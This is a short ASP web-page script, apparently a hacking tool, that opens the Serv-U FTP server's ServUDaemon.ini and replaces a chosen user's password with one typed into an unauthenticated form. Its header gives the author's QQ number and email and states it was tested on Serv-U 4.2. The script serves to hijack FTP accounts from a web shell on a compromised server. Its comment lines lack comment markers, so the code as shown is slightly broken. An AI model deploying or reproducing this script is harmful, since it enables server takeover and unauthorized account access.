以下代码在Serv-U 4.2上测试有效

<%

|###########################|
| 网海求生者QQ：54883661 |
| mail:wuyingke5155@163.com |
|###########################|

inipath="D:\Program Files\Serv-U\ServUDaemon.ini" 设置ServUDaemon.ini文件路径
user="[USER="&request("user")&"|1]"
pass="Password="&request("pass")
key=request("key")
if key<>"" then
dim os,userlong,passlong,pl,s,ss
Set fso=CreateObject("scripting.FileSystemObject")
set os=fso.opentextfile(inipath,1) 读取ServUDaemon.ini
s=os.readall
os.close

userlong=instr(s,user)+len(user)+2
for i=userlong to userlong+20
passlong=passlong+1
if asc(mid(s,i,1))=13 then
exit for
end if
next

pl=mid(s,userlong,passlong-1)
ss=Replace(s,user&chr(13)&chr(10)&pl,user&chr(13)&chr(10)&pass)
set os=fso.createtextfile(inipath,true) 写入ServUDaemon.ini
os.write ss
os.close
end if
%>
<form method="post">
用户名：<input type="text" name="user"><br>
新密码：<input type="text" name="pass"><br>
<input type="submit" name="key" value="修改"><br>
</form>